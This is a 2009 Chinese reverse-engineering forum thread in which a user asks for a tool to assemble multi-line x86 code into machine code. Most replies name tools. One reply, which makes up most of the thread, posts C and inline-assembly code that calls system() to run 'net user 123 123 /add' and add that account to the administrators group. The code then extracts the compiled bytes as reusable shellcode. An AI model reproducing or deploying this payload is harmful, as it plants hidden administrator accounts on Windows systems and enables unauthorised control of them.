首页
社区
课程
招聘
[旧帖] [求助]有没有将一段汇编转成X86机器码的工具啊 0.00雪花
发表于: 2009-2-22 18:58 4116

[旧帖] [求助]有没有将一段汇编转成X86机器码的工具啊 0.00雪花

2009-2-22 18:58
4116
OD中好像只能一句一句转

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 1844
活跃值: (35)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
在数据窗口,你要选多小选多小,或者在反汇编窗口 二进制复制/粘贴
2009-2-22 20:52
0
雪    币: 171
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
自己写的,也不知道对不对
提取net user 123 123 /add
net localgroup administrators 123 /add
的机器码

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#define START _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90
#define END START
void main(int argc,char* argv[]) {
     void sys();
     unsigned char flag[10] = {0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};//标志是system函数开始结束的标志
     char* begin = (char*)sys;
     char* end = NULL;
     unsigned char code[100];
     while(true) {
         if (memcmp(begin,flag,10) == 0) {
             begin = begin + 10;
             break;
         }
         begin++;
     }
     char* again = begin;
     while(true) {
         if(memcmp(again,flag,10) == 0) {
             break;
         }
         again++;
     }
     memcpy(code,begin,(again - begin));
     for (int i = 0;i < again-begin;i++) {
         if (i % 5 == 0) {
             putchar('\n');
         }
         printf("%x ",code[i]);
     }
     putchar('\n');
}

void sys() {
     HMODULE handle;
     unsigned long addr;
     handle = LoadLibrary("msvcrt.dll");
     if (handle == NULL) {
         printf("无法加载dll!");
         return;
     }
     addr =(unsigned long)GetProcAddress(handle,"system");//获得system函数的地址
     if (addr == 0) {
         printf("无法获得函数地址!");
         return;
     }
     START
     _asm {
     //     下面是c函数:sysytem("net user 123 123 /add");
     //   system("new localgroup administrators 123 /add");
     //  汇编执行过程
         //十个nop指令当作开始标志
     call fun1
         _emit 'n'
         _emit 'e'
         _emit 't'
         _emit ' '
         _emit 'u'
         _emit 's'
         _emit 'e'
         _emit 'r'
         _emit ' '
         _emit '1'
         _emit '2'
         _emit '3'
         _emit ' '
         _emit '1'
         _emit '2'
         _emit '3'
         _emit ' '
         _emit '/'
         _emit 'a'
         _emit 'd'
         _emit 'd'
         _emit 0
     
fun1:
         call dword ptr addr
   add esp,4
call fun2
         _emit 'n'
         _emit 'e'
         _emit 't'
         _emit ' '
         _emit 'l'
         _emit 'o'
         _emit 'c'
         _emit 'a'
         _emit 'l'
         _emit 'g'
         _emit 'r'
         _emit 'o'
         _emit 'u'
         _emit 'p'
         _emit ' '
         _emit 'a'
         _emit 'd'
         _emit 'm'
         _emit 'i'
         _emit 'n'
         _emit 'i'
         _emit 's'
         _emit 't'
         _emit 'r'
         _emit 'a'
         _emit 't'
         _emit 'o'
         _emit 'r'
         _emit 's'
         _emit ' '
         _emit '1'
         _emit '2'
         _emit '3'
         _emit ' '
         _emit '/'
         _emit 'a'
         _emit 'd'
         _emit 'd'
         _emit 0
     fun2:
         call dword ptr addr
   add esp,4
     }
     END
2009-2-23 02:07
0
雪    币: 603
活跃值: (40)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
4
IDA好像有这个功能的插件
2009-2-23 07:34
0
雪    币: 215
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rsa
5
W32DASM
2009-6-10 13:28
0
雪    币: 427
活跃值: (65)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
用nonawrite,OD会转成机器码,然后复制出来。
2009-6-10 14:46
0
游客
登录 | 注册 方可回帖
返回
//